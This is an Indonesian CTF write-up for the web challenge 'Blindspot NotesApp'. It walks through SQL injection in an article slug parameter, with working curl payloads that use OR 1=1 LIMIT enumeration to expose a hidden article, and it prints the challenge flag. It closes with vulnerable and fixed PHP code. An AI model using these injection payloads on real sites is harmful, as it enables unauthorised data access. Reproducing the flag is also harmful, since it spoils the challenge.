Write-up-Blindspot NotesApp
Write-up bisa dibaca langsung di halaman ini atau diunduh sebagai file PDF.
Write-up-Blindspot NotesApp
Write-up CTF: Blindspot NotesApp
Informasi Challenge
Nama: Blindspot NotesApp
Kategori: Web
Tingkat Kesulitan: Easy
Poin: 210
Author: aria
Deskripsi:
Aplikasi ini terlihat lengkap dan berfungsi dengan baik. Semua fitur utama bekerja seperti seharusnya. Meski begitu, tidak ada aplikasi yang benar-benar sempurna. Coba jelajahi semuanya.
Tahap 1: Reconnaissance (Pengintaian Awal)
Eksplorasi Website
Aplikasi ini adalah platform note-taking bernama "NotesApp" dengan halaman-halaman berikut:
index.php- Halaman utamaarticles.php- Daftar artikel (menampilkan 2 artikel publik)article.php?slug=X- Halaman artikel individuallogin.php- Halaman loginsignup.php- Halaman registrasidashboard.php- Dashboard user (butuh login)
Artikel yang Terlihat
Di halaman publik, hanya 2 artikel yang terlihat:
- "Getting Started with NotesApp" (
slug=getting-started-with-notesapp) - "Security Best Practices for Your Notes" (
slug=security-best-practices)
Keduanya menampilkan 0 views (👁️ 0 views), yang tetap 0 meskipun sudah diakses berkali-kali.
Tahap 2: Testing Autentikasi
Membuat Akun
Pertama, saya mendaftar akun untuk mengeksplorasi fitur yang memerlukan login:
curl -X POST 'https://note.aria.my.id/signup.php' \
-d 'full_name=Hacker Test' \
-d 'username=hacker999' \
-d 'email=hacker999@test.com' \
-d 'password=Pass123456' \
-d 'confirm_password=Pass123456' \
-c cookies.txt
Login
curl -X POST 'https://note.aria.my.id/login.php' \
-d 'username=hacker999' \
-d 'password=Pass123456' \
-b cookies.txt \
-c cookies.txt \
-L
Fitur Setelah Login
Setelah login, saya mendapat akses ke:
- Dashboard - Bisa membuat catatan pribadi
- Manajemen Note - Buat, lihat, dan hapus catatan
Namun, daftar artikel tetap hanya menampilkan 2 artikel publik yang sama, bahkan setelah login.
Tahap 3: Mencari Vulnerability
Testing SQL Injection
Nama challenge "Blindspot" mengindikasikan ada sesuatu yang tersembunyi atau tidak terlihat. Saya mencoba menguji endpoint article.php untuk vulnerability SQL injection.
Penemuan Awal
# Test dengan kondisi OR
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=security-best-practices%27%20OR%20slug%20LIKE%20%27%25flag%25" -s | grep -o "<title>.*</title>"
Hasil: <title>Security Best Practices for Your Notes - NotesApp</title>
Ini mengkonfirmasi adanya SQL injection vulnerability! Query mengembalikan artikel meskipun slug tidak cocok, membuktikan SQL injection berhasil.
Tahap 4: Eksploitasi
Menentukan Jumlah Kolom
Pertama, saya mencoba mencari tahu jumlah kolom dalam query SQL:
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=x%27%20UNION%20SELECT%20NULL--%20-" -s
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=x%27%20UNION%20SELECT%20NULL,NULL--%20-" -s
# ... hingga 6 kolom
Semua mengembalikan "Article Not Found", menandakan serangan UNION tidak langsung mengembalikan hasil dalam format yang diharapkan.
Enumerasi Semua Artikel
Menggunakan OR 1=1 dengan LIMIT untuk mengenumerasi semua artikel di database:
# Artikel pertama (offset 0)
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=x%27%20OR%201=1%20LIMIT%201--%20-" -s | grep -o "<title>.*</title>"
Output: <title>Getting Started with NotesApp - NotesApp</title>
# Artikel kedua (offset 1)
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=x%27%20OR%201=1%20LIMIT%201,1--%20-" -s | grep -o "<title>.*</title>"
Output: <title>Security Best Practices for Your Notes - NotesApp</title>
# Artikel ketiga (offset 2) - ARTIKEL TERSEMBUNYI!
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=x%27%20OR%201=1%20LIMIT%202,1--%20-" -s | grep -o "<title>.*</title>"
Output: <title>🚩 INTERNAL - System Architecture - NotesApp</title>
# Artikel keempat (offset 3)
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=x%27%20OR%201=1%20LIMIT%203,1--%20-" -s | grep -o "<title>.*</title>"
Output: <title>Article Not Found - NotesApp</title>
🎯 Penemuan Artikel Tersembunyi
Artikel ketiga "🚩 INTERNAL - System Architecture" ditemukan! Artikel ini:
- TIDAK muncul di daftar
articles.phppublik - Hanya bisa ditemukan melalui SQL injection
- Berisi flag yang dicari
Tahap 5: Mengambil Flag
Mengakses Artikel Tersembunyi
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=x%27%20OR%201=1%20LIMIT%202,1--%20-" -s > hidden_article.html
Ekstraksi Flag
cat hidden_article.html | grep -E "FGTE|flag|FLAG" -i
Flag Ditemukan:
<h2>🎯 CTF Flag</h2>
<div style="background: #000; color: #0f0; padding: 40px; font-family: monospace; text-align: center;">
<div style="font-size: 24px; font-weight: bold;">
FGTE{4rt1cl3s_4r3_n0t_4lw4ys_s4f3_fr0m_SQLi}
</div>
</div>
Analisis Vulnerability
Apa itu "Blindspot"?
Aplikasi memiliki "blindspot" (titik buta) berupa:
- Vulnerability SQL Injection di parameter
article.php?slug= - Artikel Tersembunyi yang ada di database tapi tidak ditampilkan di listing artikel publik
- Tidak Ada Access Control - Artikel tersembunyi bisa diakses siapa saja yang menemukan SQL injection
Mengapa Disebut "Blindspot"?
- Artikel tersembunyi tidak terlihat dalam navigasi normal
- Tidak ada link ke artikel ini dari halaman publik mana pun
- Hanya bisa ditemukan melalui enumerasi database via SQL injection
- Nama challenge sempurna menggambarkan vulnerability yang "buta" atau tersembunyi ini
Kode Vulnerable (Hipotesis)
Kode yang vulnerable kemungkinan seperti ini:
<?php
$slug = $_GET['slug'];
$query = "SELECT * FROM articles WHERE slug = '$slug'";
// Tidak ada sanitasi input atau prepared statements!
$result = mysqli_query($conn, $query);
?>
Implementasi yang Aman
Seharusnya menggunakan prepared statements:
<?php
$slug = $_GET['slug'];
$stmt = $conn->prepare("SELECT * FROM articles WHERE slug = ? AND visible = 1");
$stmt->bind_param("s", $slug);
$stmt->execute();
?>
Poin-Poin Penting
- SQL Injection masih merupakan vulnerability kritis bahkan di aplikasi modern
- Data tersembunyi di database bisa terekspos melalui enumerasi SQLi
- Penamaan challenge sering memberikan hint (Blindspot = konten tersembunyi/tidak terlihat)
- Validasi input yang proper dan prepared statements sangat penting
- Access control harus diimplementasikan di level query database, bukan hanya di UI
Timeline Solusi
- Reconnaissance awal → Menemukan daftar artikel publik
- Membuat akun → Mengeksplorasi fitur yang memerlukan autentikasi
- Testing SQL injection → Menemukan vulnerability di parameter
slug - Enumerasi artikel → Menemukan total 3 artikel (1 tersembunyi)
- Mengambil artikel tersembunyi → Mendapatkan flag
Command Lengkap untuk Solve Challenge
# 1. Buat akun
curl -X POST 'https://note.aria.my.id/signup.php' \
-d 'full_name=Test User' \
-d 'username=testuser999' \
-d 'email=test999@test.com' \
-d 'password=Pass123456' \
-d 'confirm_password=Pass123456' \
-c cookies.txt
# 2. Login
curl -X POST 'https://note.aria.my.id/login.php' \
-d 'username=testuser999' \
-d 'password=Pass123456' \
-b cookies.txt \
-c cookies.txt \
-L
# 3. Enumerasi artikel dengan SQL injection
curl -b cookies.txt "https://note.aria.my.id/article.php?slug=x%27%20OR%201=1%20LIMIT%202,1--%20-" -s | grep -i "FGTE"
# 4. Dapatkan flag
# Output: FGTE{4rt1cl3s_4r3_n0t_4lw4ys_s4f3_fr0m_SQLi}
Flag
FGTE{4rt1cl3s_4r3_n0t_4lw4ys_s4f3_fr0m_SQLi}
Selesai! 🎉
Challenge ini mengajarkan pentingnya:
- Selalu validasi dan sanitasi input user
- Menggunakan prepared statements untuk query database
- Implementasi proper access control
- Tidak mengandalkan "security through obscurity" (keamanan melalui penyembunyian)

More
Related in Cyber/CTF
Beberapa project lain di kategori yang sama.


